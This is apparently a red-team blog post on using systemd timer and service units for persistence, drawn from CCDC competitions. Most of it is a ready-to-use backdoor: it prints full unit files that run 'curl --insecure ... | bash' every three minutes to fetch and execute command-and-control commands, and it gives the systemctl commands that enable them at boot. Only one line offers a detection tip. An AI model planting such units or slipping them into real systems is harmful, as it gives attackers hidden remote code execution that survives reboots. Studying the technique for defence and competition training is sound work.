With the push to covert all of our old init style processes managers to the new cutting-edge systemd, comes a whole new set of security concerns. In several recent competitions, I was able to establish persistence with systemd.timer units. Timer units are designed to run repetitive tasks on behalf of an existing service. This is normally used to establish service watchers, in case a service were to hang of crash. However, we can take advantage of this build-in core functionality to establish near-kernel level persistence with systemd.timers. As an added bonus, it’s a bit more difficult to find then a crontab and there are several tools that can convert existing crontabs to systemd.timers.
In order to take advantage of persistence with systemd.timers, we just need write access to the /etc/systemd/system/ or /usr/lib/systemd/system/ directory. With a user with write access, normally only root, we can create a service unit file and a timer unit file. Once the files are created, we can register the timer unit with systemd and it will execute our service unit, per our timer unit schedule. Timer units can even be registered with systemd to be started at boot automatically, to maintain persistence through reboots.
Example persistence with systemd.timers
To establish persistence with systemd.timers, we first need to create a service unit. In this case I created a file called /etc/systemd/system/backdoor.service, which would connect to a web server and execute a the given command.
[Unit]
Description=Backdoor
[Service]
Type=simple
ExecStart=curl --insecure https://127.0.0.1/cmd.txt|bash
Next I created a timer unit that launches my backdoor.service every 3 mins, to execute my latest CnC commands. The following is the contents of the file, /etc/systemd/system/backdoor.timer, which I used throughout the CCDC competitions.
[Unit]
Description=Runs backdoor ever 3 mins
[Timer]
OnBootSec=5min
OnUnitActiveSec=3min
Unit=backdoor.service
[Install]
WantedBy=multi-user.target
Once those two files are created within one of the systemd unit directories, we can simple establish the persistence with systemd.timer, by starting the unit timer.
systemctl start backdoor.timer
Then to ensure the timer is automatically started a boot, tell systemd to enable the timer unit at startup.
systemctl enable backdoor.timer
As far as I can tell from my research, there isn’t any easy way to detect these types of backdoors. However, in the CCDC competition space, I highly recommend running a command like the following in a screen to identify changes to timer units.
watch -d systemctl list-timers
Example persistence with Single Service Unit
The alterative is to have a single service unit that takes advantage of an exit code of 0; to continuously restart. Bellow is an example of such a service unit file, that will just restart every 3 mins and also execute our CnC command.
[Service]
Type=simple
ExecStart=curl --insecure https://127.0.0.1/cmd.txt|bash; exit 0
Restart=always
RestartSec=180
For more detailed information see the full documentation at: https://www.freedesktop.org/software/systemd/man/ or through your local man pages.